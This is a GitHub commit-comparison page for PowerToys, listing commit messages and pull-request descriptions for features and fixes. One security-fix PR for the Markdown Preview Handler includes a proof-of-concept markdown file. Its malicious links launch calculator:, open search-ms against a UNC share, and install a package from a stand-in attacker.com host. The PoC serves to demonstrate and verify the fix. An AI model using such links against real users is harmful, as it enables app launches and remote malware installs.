Compare commits

...

32 Commits

Author SHA1 Message Date
Muyuan Li (from Dev Box)
df45e56511 WIP: AdvancedPaste ViewModel and test updates
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-05-07 15:57:44 +08:00
Muyuan Li (from Dev Box)
f8bca48db3 Settings UX: enable toggle, Load/Refresh button, greyed-out Apply
- Add master toggle to enable/disable Python scripts feature entirely
  (IsPythonScriptsEnabled in settings model, ViewModel, and runtime)
- Button shows 'Load scripts' initially, changes to 'Refresh scripts'
  after first load
- Edit dialog 'Apply changes' button is greyed out until a field changes
  (tracks initial snapshot vs current values for all fields)
- Runtime BuildPythonScriptFormats respects IsPythonScriptsEnabled

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-17 15:56:08 +08:00
Muyuan Li (from Dev Box)
5104d0846c Auto-apply on edit dialog and enable toggle, write-lock error fallback
- Remove Apply Changes button from parent expander
- Edit dialog now applies changes to file directly on confirm
- Enable toggle auto-applies changes immediately
- On write-lock (IOException), show error dialog with copyable header
  text and 'Copy header' button for manual paste fallback

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-17 15:39:03 +08:00
Muyuan Li (from Dev Box)
8ca6c4d2ec Add open-folder button, fix duplicate header tags on apply
- Add button to open scripts folder in File Explorer
- Fix WriteScriptHeader: duplicate tag lines (e.g. multiple desc) are now
  deduplicated — only the first occurrence is updated, extras are removed

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-17 15:13:54 +08:00
Muyuan Li (from Dev Box)
574aca841b Auto-refresh scripts, fix event handler leak, deep clone HotkeySettings, remove dead code
- Auto-refresh discovered scripts when ScriptsFolder changes
- ApplyPythonScriptChanges now refreshes after saving
- Fix event handler leak in EditPythonScript_Click (Toggled += lambda)
- Deep clone HotkeySettings in AdvancedPastePythonScriptAction.Clone()
- Remove unused WriteMetadata() and FormatFlagsToString() from PythonScriptService

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-17 14:48:55 +08:00
Muyuan Li (from Dev Box)
0833b68907 Advanced Paste: error details popup, enabled tag, and script settings page
- Error display: moved error UI from PromptBox to MainPage with Show Details
  button that opens a ContentDialog with the full error traceback
- Python scripts: added @advancedpaste:enabled header tag to control script
  visibility in the paste menu (default: true)
- Settings page: added Discovered Scripts section with Refresh/Apply buttons,
  per-script enable toggle, and edit dialog for name, description, platform,
  supported formats, and dependency detection mode (auto/manual)
- Model: extended AdvancedPastePythonScriptAction with IsEnabled, Platform,
  Formats, Requires, and RequiresAutoDetect properties
- ViewModel: added RefreshPythonScripts() to scan folder and read headers,
  ApplyPythonScriptChanges() to write metadata back to script files
- Build: added vswhere -all fallback in build-common.ps1

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-16 17:49:02 +08:00
Muyuan Li
2051c13bf9 Improve Python script error handling and prevent freezes
- Extract script name, line, and column from Python tracebacks in error summaries
- Add ParsePipInstallError to show concise pip errors with full stderr in details tooltip
- Add timeouts to pip install (Windows/WSL) and import-check subprocesses to prevent UI freezes
- Add PythonPackageInstallTimeout resource string
- Add unit tests for all new parsing logic
2026-04-15 16:10:49 +08:00
Muyuan Li
4c7bf3df79 [AdvancedPaste] Python scripts: docs, custom folder, auto-import detection, better errors
1. Script header documentation (doc/devdocs/modules/advancedpaste-python-scripts.md)
   - Complete reference for all @advancedpaste: header tags
   - Windows and WSL/Linux execution mode protocols
   - Declaring dependencies, security trust model, error handling
   - Example scripts for both platforms

2. Custom scripts folder setting in Settings UI
   - Added ScriptsFolder property to AdvancedPasteViewModel
   - Added SettingsCard with TextBox + Browse folder dialog in XAML
   - Added localization strings for the new setting

3. Auto-detect missing Python modules from import statements
   - Scans script body for import/from-import statements
   - Filters Python stdlib modules (CPython 3.12 set)
   - Well-known import-to-pip mapping table (pywin32, Pillow, opencv-python, etc.)
   - Merges auto-detected imports with explicit @advancedpaste:requires entries
   - Explicit requires always take precedence

4. Better error messages for Python script failures
   - Parses stderr to extract the final Python exception line
   - User-friendly summaries for ModuleNotFoundError, SyntaxError, etc.
   - ModuleNotFoundError includes pip install hint from the mapping table
   - Full traceback available in Details section of the error UI

Added 12 unit tests for MergeWithAutoDetectedImports and ParsePythonError.
Fixed IntegrationTestUserSettings mock to implement IUserSettings Python members.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-02 16:56:42 +08:00
Shawn Yuan
879163f48e add metadata analyse
Signed-off-by: Shawn Yuan <shuaiyuan@microsoft.com>
2026-03-04 12:54:51 +08:00
Shawn Yuan
4b84c00300 update 2026-03-02 11:46:23 +08:00
Shawn Yuan
6062bdc2f8 Make AP support Python extension
Signed-off-by: Shawn Yuan <shuaiyuan@microsoft.com>
2026-03-02 10:26:20 +08:00
Ruthie Sun
3e1b07f52c Color picker - Lab format: use roundoff optional #13603 (#42986)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
The default CIELab format rounds the values to two decimal places, which
is a degree of precision that isn't always needed. This PR adds an
optional formatting character (i) to the three CIELab format parameters,
which rounds the value to the nearest integer.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #13603/#14863. Note that in the discussion for #13603,
there are some additional suggestions that this PR doesn't address.
- [ ] **Communication:** Haven't gotten the green light for this
approach with the core contributors yet. Happy to pivot to a different
approach if needed.
- [ ] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

In the case where a or b get rounded to -0 (e.g. -0.0001 rounds to -0),
the negative sign gets removed. However, I noticed during testing that
the default format (rounding to two decimal places) retains the negative
sign in these situations (see third screenshot). I can a) revert to
keeping the -0 for the new rounding behavior, b) change -0 to 0 for
other rounded values, or c) leave it as-is. Also open to suggestions.

I can update the docs as well, if we're happy with the approach.

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
- Settings: Can change the default CIELab format to display rounded
values
- Settings: Can create a custom format with rounded CIELab values
- Color Picker: Rounded values are displayed when hovering and as a
saved color
<img width="1076" height="1520" alt="powertoys-cielab"
src="https://github.com/user-attachments/assets/8a67142d-d7f4-49bc-b1ba-ad9304235218"
/>
<img width="447" height="390" alt="powertoys-cielab-selected"
src="https://github.com/user-attachments/assets/c96d3bc9-cac7-4470-af3f-b2bce78d0915"
/>
<img width="445" height="389" alt="powertoys-cielab-selected-0"
src="https://github.com/user-attachments/assets/c329bc5b-c18a-4f61-a808-0fa5050e09ed"
/>

---------

Co-authored-by: vanzue <vanzue@outlook.com>
2026-02-27 23:12:58 +01:00
Jiří Polášek
96e6542cf1 Dock: Replace IsShownInSwitchers with HiddenOwnerWindowBehavior in DockWindow (#45839)
## Summary of the Pull Request

This PR replaces the use of the property AppWindow.IsShownInSwitchers,
which requires a running explorer.exe instance, with
HiddenOwnerWindowBehavior. This behavior is used by MainWindow and
ToastWindow to hide the window by utilizing both the Tool Window style
and a safely invoked IsShownInSwitchers.
2026-02-27 21:11:27 +00:00
Jiří Polášek
12fac01ee1 CmdPal: Add settings to hide non-apps from results (#45741)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR adds new options to the All Apps built-in extension:

- Also include non-app shortcuts from the Start menu
  - Enabled by default
- Also include non-app shortcuts from the desktop
  - Disabled by default

The default states reflect that Start menu shortcuts are largely curated
by installers, and the Start menu itself typically does not surface
non-app items. Desktop shortcuts, on the other hand, are more likely to
be created by the user.

<img width="812" height="499" alt="image"
src="https://github.com/user-attachments/assets/de6c4723-0b52-4606-98fa-469364f5648e"
/>
2026-02-27 14:35:49 -06:00
Jiří Polášek
f2788f2e09 CmdPal: Supress CsWinRT1028 on source generated interop types (#45827)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR add local suppression of CsWinRT1028 (not marked partial) for
`Windows.Win32.UnhookWinEventSafeHandle` and
`Windows.Win32.DeleteObjectSafeHandle`

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Related to: #42574
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-27 12:58:54 -06:00
Mike Griese
5dea1980ad CmdPal: some dock data (#45832)
we want to know what the people want

re: #45584
2026-02-27 12:22:14 -06:00
Mike Griese
e74692815f Dock: deal with multiple appbars on the same side (#45831)
notes inline with code. Need to adjust the opposite side of the appbar
for our size.

These APIs are documented so well, it's no wonder more folks don't use
them 🙃

related to #45824
tracked in #45584

---------

Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-02-27 12:22:02 -06:00
Jiří Polášek
8c1e4f16fe CmdPal: Add null check before caching view model for item (#45815) 2026-02-27 11:20:19 -06:00
Jiří Polášek
e653b4ad37 CmdPal: Remove OneWay binding mode from bands ItemsRepeater (#45833)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

This PR removes OneWay binding mode from ItemsRepeater with bands in
Dock settings page. The page doesn't provide any means for property
change notification, so the binding can never be refreshed anyway and it
cases XAML compiler to emit a warning `WMC1506: OneWay bindings require
at least one of their steps to support raising notifications when their
value change`

- [x] Related to: #42574 
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-27 11:13:48 -06:00
Mike Griese
70bf430d9f CmdPal: Add a dock (#45824)
Add support for a "dock" window in CmdPal. The dock is a toolbar powered
by the `APPBAR` APIs. This gives you a persistent region to display
commands for quick shortcuts or glanceable widgets.

The dock can be pinned to any side of the screen.
The dock can be independently styled with any of the theming controls
cmdpal already has
The dock has three "regions" to pin to - the "start", the "center", and
the "end".
Elements on the dock are grouped as "bands", which contains a set of
"items". Each "band" is one atomic unit. For example, the Media Player
extension produces 4 items, but one _band_.
The dock has only one size (for now)
The dock will only appear on your primary display (for now)

This PR includes support for pinning arbitrary top-level commands to the
dock - however, we're planning on replacing that with a more universal
ability to pin any command to the dock or top level. (see #45191). This
is at least usable for now.

This is definitely still _even more preview_ than usual PowerToys
features, but it's more than usable. I'd love to get it out there and
start collecting feedback on where to improve next. I'll probably add a
follow-up issue for tracking the remaining bugs & nits.

closes #45201

---------

Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-02-27 13:24:23 +00:00
Kai Tao
494c14fb88 Always on top: window context menu to always on top (#45773)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Add an option to enable inject a window context menu to always on top
this window.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #45638 #15387
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

https://github.com/user-attachments/assets/37eb3f74-1ccc-42f2-83c3-1100f55765ee

---------

Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-02-27 16:45:35 +08:00
Alex Mihaiuc
6c806aa08c Make the ZoomIt AAC audio track depend on system audio or audio input (#45700)
When neither option is selected, then the resulting .mp4 container won't
have an audio track added to it.
This is due to the recent audio input addition. As a result, all .mp4
recordings now have an audio track, even if empty. Restoring the prior
functionality, where just the h264 video is present on no audio.

## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-26 19:27:19 +01:00
Mike Griese
7a0e4ac891 CmdPal: Add context commands for pinning nested commands (#45673)
_targets #45572_

This change allows our contact menu factory to actually create and add
additional context menu commands for pinning commands to the top level.
Now for any command provider built with the latest SDK that return
subcommands with an ID, we will add additional context menu commands
that allows you to pin that command to the top level.

<img width="540" height="181" alt="image"
src="https://github.com/user-attachments/assets/6c2cfe3c-4143-44d1-9308-bfc71db4c842"
/>
<img width="729" height="317" alt="image"
src="https://github.com/user-attachments/assets/4ff75c9f-1f35-4c1e-a03e-6fab5cbab423"
/>

related to https://github.com/microsoft/PowerToys/issues/45191
related to https://github.com/microsoft/PowerToys/issues/45201


This PR notably does not remove pinning from the apps extension. I
thought that made sense to do as a follow-up PR for the sake of
reviewability.

--- 

description from #45676 which was merged into this

Removes the code that the apps provider was using to support pinning
apps to the top level list of commands. Now the all apps provider just
uses the global support for pinning commands to the top level.

This does have the side effect of removing the separation of pinned apps
from unpinned apps on the All Apps page. However, we all pretty much
agree that wasn't a particularly widely used feature, and it's safe to
remove.

With this, we can finally call this issue done 🎉
closes https://github.com/microsoft/PowerToys/issues/45191
2026-02-26 16:09:17 +00:00
Kai Tao
cdeae7c854 Mouse Utilities: Remove newinfo badge for cursor wrap (#45803)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
as title
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

<img width="1665" height="443" alt="image"
src="https://github.com/user-attachments/assets/9a5488c4-dea0-47a4-bf5c-f60820176d50"
/>
2026-02-26 13:48:16 +00:00
Jiří Polášek
9ae355b963 CmdPal: Fix All Apps search result limit default (#45804)
## Summary of the Pull Request

This PR adds a new default option to the All Apps extension settings.

- Adds an explicit "Default (n)" option to the choices list as the
default. This option is not tied to a concrete number of items, allowing
the value to change in the future.
- Fixes backward compatibility for users who installed the extension
when `"0"` was accidentally used as the default search result limit
(d07f40eec3). Existing `"0"` values are now treated as "use default
(10)" instead of producing zero results.
- Renames the intentional "0 results" setting value from `"0"` to
`"none"` so it can be clearly distinguished from the previous accidental
default.
- Moves result-limit parsing from `AllAppsCommandProvider` into
`AllAppsSettings`, exposing a parsed `int?` property instead of a raw
string.
- Adds `IgnoreUnknownValue` to `ChoiceSetSetting` so unrecognized stored
values (such as the old `"0"`) are silently ignored on load, preserving
the initialized default.
- Without this the drop-down value in the adaptive card shows as empty.

<img width="842" height="226" alt="image"
src="https://github.com/user-attachments/assets/ae79f173-2e81-43d8-9103-c548ff6e0dc1"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-26 06:52:55 -06:00
moooyo
9b7ae9a96a Temporarily disable PowerDisplay module across PowerToys (#45802)
Icon and New name still pending for final decision.

We cannot ship in this release, still need enough time to consider new
name and icon.

<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
2026-02-26 12:40:18 +00:00
Jiří Polášek
169bfe3f04 CmdPal: Lightning-fast mode (#45764)
## Summary of the Pull Request

This PR unlocks lightning-fast mode for Command Palette:

- Hides visual and motion distractions when updating the result list:
- Ensures the first interactable result item is selected as early as
possible after the result list is updated, reducing flashing and
blinking caused by the selection highlight moving around.
- Removes the list item selection indicator animation (unfortunately by
removing the pill altogether for now) and prevents it from temporarily
appearing on other items as the selection moves.
- Adds a new "Results" section header above the home page results when
no other section is present.
- This ensures the first item on the home page has consistent visuals
and styling, preventing offsets and excessive visual changes when
elements are replaced in place.

- Improves update performance and container reuse:
- Fixes the `removed` output parameter in `ListHelper.UpdateInPlace` to
only include items that were actually removed (items that were merely
moved to a different position should not be reported as removed).
    - Adds unit tests to prevent regression.
- Updates `ListHelper.UpdateInPlace` for `ObservableCollection` to use
`Move` instead of `Remove`/`Add`, and avoids `Clear` to prevent
`ListView` resets (which force recreation of all item containers and are
expensive).
- Adds a simple cache for list page item view models to reduce
unnecessary recreation during forward incremental search.
- `ListViewModel` and `FetchItems` have no notion of item lifetime or
incremental search phase, so the cache intentionally remains simple
rather than clever.
  - Updates ListPage templates to make them a little lighter:
- Tag template uses OneTime, instead of OneWay - since Tag is immutable
- Replaces ItemsControl with ItemsRepeater for Tag list on list items
- Increases the debounce for showing the details pane and adds a
debounce for hiding it. This improves performance when browsing the list
and prevents the details pane animation from bouncing left and right

## Pictures? Moving!



https://github.com/user-attachments/assets/36428d20-cf46-4321-83c0-d94d6d4a2299



<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #44407
- [x] Closes: #45691
2026-02-26 06:17:34 -06:00
leileizhang
1b4641a158 Fix: Restrict URI scheme navigation in MarkdownPreviewHandler to http/https only (#45801)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
The Markdown Preview Handler allowed arbitrary URI scheme execution when
users clicked links in the preview pane. This patch restricts external
navigation to http and https schemes only.


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
**Steps:**
1. Create a file named `exploit.md` with the following content:
```markdown
# PoC
1. [Click Me for RCE (Always Works)](calculator:)
2. [Remote File Search Phishing](search-ms:displayname=Confidential&crumb=location:\\\\127.0.0.1\\c$)
3. [App Installer (Requires Policy)](ms-appinstaller:?source=https://attacker.com/malware.msix)
```
2. Open Windows File Explorer and navigate to the folder containing
`exploit.md`.
3. Enable the "Preview pane" in File Explorer (View -> Show -> Preview
pane).
4. Select `exploit.md` (single click) to render the preview.
5. Click the "Click Me for RCE" link.
2026-02-26 17:46:48 +08:00
Jaylyn Barbee
a94d010a8d [Light Switch] Fixed issue where Light switch could be toggled from the dashboard while GPO settings are active (#45756)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Current behavior is that GPO policies are enforced on the Light Switch
settings page but not on the dashboard or quick access menu's. This
allows the user to still toggle Light Switch settings in scenarios where
GPO is either forcing it to be enabled or disabled. This PR addresses
that issue.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #43754
## Additional notes
This PR only addresses issues on the dashboard page and in the quick
access menu as described by
https://github.com/microsoft/PowerToys/issues/43754.

This PR also fixed an issue where modules were not showing in the Quick
access menu when GPO is set to "Enabled" until you visited the module
specific page. When modules are forced enabled, they should appear in
Quick Access upon launch if they have a quick access entry.

This issue does not address issue
https://github.com/microsoft/PowerToys/issues/42484 which was fixed with
the PR https://github.com/microsoft/PowerToys/pull/44567

## Validation Steps Performed
Tested locally, photos below
Not configured:
<img width="1371" height="964" alt="image"
src="https://github.com/user-attachments/assets/50ee579d-8ffb-44fd-92a9-e191b61c0318"
/>
Enabled:
<img width="1183" height="988" alt="image"
src="https://github.com/user-attachments/assets/789abf28-d140-4d93-8934-48b3ac92be2e"
/>
Disabled:
<img width="1282" height="965" alt="image"
src="https://github.com/user-attachments/assets/17ec915a-29d9-42fb-a58e-4b769a728e6a"
/>

We can observe the option being locked on the quick toggles and not
present in the quick access menu when disabled.
2026-02-25 16:44:15 +01:00
Kai Tao
c013122520 Settings: Fix settings process shutdown when closing secondary windows (#45787)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #45549 
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
